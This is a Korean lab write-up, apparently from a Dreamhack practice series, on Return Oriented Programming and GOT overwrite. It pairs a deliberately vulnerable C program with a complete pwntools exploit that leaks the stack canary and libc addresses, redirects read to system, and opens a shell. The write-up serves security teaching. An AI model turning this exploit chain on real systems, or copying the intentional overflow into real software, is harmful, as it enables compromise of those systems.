Ⅰ. ROP(Return Oriented Programming) 정의
- 리턴 가젯을 사용하여, 복잡한 실행 흐름을 구현하는 기법이다.
- 공격자는 이를 이용하여, 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다.
- ROP 페이로드는 리턴 가젯으로 구성되는데, RET단위로 여러 코드가 연쇄적으로 실행되는 모습에서 "ROP Chain"이라고도 부른다.
Ⅱ. 실습
1. 실습 코드
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
2. GOT Overwirte 정의
- GOT에 적힌 주소를 참조하여 해당 함수를 호출할 때, 검증하지 않고 그대로 참조하는 문제점이 존재한다.
이를 통해, GOT에 적힌 주소를 변조하고 함수가 재호출될 때 공격자가 원하는 코드가 실행되도록 하는 공격을 말한다.
3. 공격 시나리오
① 첫 번째 입력값에서 버퍼오버플로우 취약점을 이용하여, 카나리를 추출하여 스택가드 보호기법을 우회한다.
② read함수를 통해, system함수의 주소값을 계산한다.
- read함수의 got를 읽고, read함수와 system함수의 오프셋을 이용하여 system함수의 주소를 계산할 수 있다.
③ GOT에 위치한 read함수의 주소값을 system함수의 주소값으로 변조하고, [ read 주소값 + 0x8 ] 위치에는 /bin/sh를
삽입한다.
- pwntools의 ELF.symbols 메소드는 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용된다.
이를 이용하여, system함수의 주소를 계산할 수 있다.
④ GOT Overwrite된 read함수를 재호출할 경우, read함수가 아닌 system함수 실행되어 쉘을 획득할 수 있다.
4. Exploit
- pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *
def print_v(name, value):
return success(": ".join([name, hex(value)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# [1] Get Canary
input1 = "A" * 0x39
p.sendafter(b"Buf: ", input1)
p.recvuntil(input1)
canary = u64(b'\x00' + p.recvn(7))
print_v("Canary", canary)
pop_rdi = 0x4007f3 # pop rdi; ret; 가젯
pop_rsi_r15 = 0x4007f1 # pop rsi; pop r15; ret; 가젯
puts_plt = e.plt['puts']
read_got = e.got['read']
read_plt = e.plt['read']
input2 = b"A" * 0x38
input2 += p64(canary)
input2 += b"B" * 0x8
# got에 존재하는 read주소값 출력.
# puts(read_got)
input2 += p64(pop_rdi)
input2 += p64(read_got)
input2 += p64(puts_plt)
# 해당 입력값으로, read함수를 system함수로 덮어쓰며, read + 8에는 /bin/sh가 들어감.
# read(0, read_got, 0x10)
input2 += p64(pop_rdi) + p64(0)
input2 += p64(pop_rsi_r15)
input2 += p64(read_got) + p64(0)
input2 += p64(read_plt)
# read("/bin/sh") ==> system("/bin/sh")
input2 += p64(pop_rdi)
input2 += p64(read_got + 0x8)
input2 += p64(read_plt)
# system 함수 주소 계산
p.sendafter(b"Buf: ", input2)
read_addr = u64(p.recvn(6) + (b'\x00'*2))
base_libc = read_addr - libc.symbols['read']
sys_addr = base_libc + libc.symbols['system']
print_v("read_addr", read_addr)
print_v("sys_addr", sys_addr)
# got에 존재하는 read함수를 덮어쓰기 위한 입력값
p.send(p64(sys_addr) + b"/bin/sh\x00")
p.interactive()
- shell을 통해, flag를 얻을 수 있다. (flag는 확인을 위해, 임의로 만들었다.)
'Dreamhack > Lecture & Practice' 카테고리의 다른 글
[Lecture] OOB (Out of bounds) (0) | 2022.08.09 |
---|---|
[Practice] Hook Overwrite (0) | 2022.07.14 |
[Lecture] PIE (Position-Independent Executable) (0) | 2022.07.12 |
[Lecture] RELRO (RELocation Read-Only) (0) | 2022.07.11 |
[Practice] Return to Library (0) | 2022.07.01 |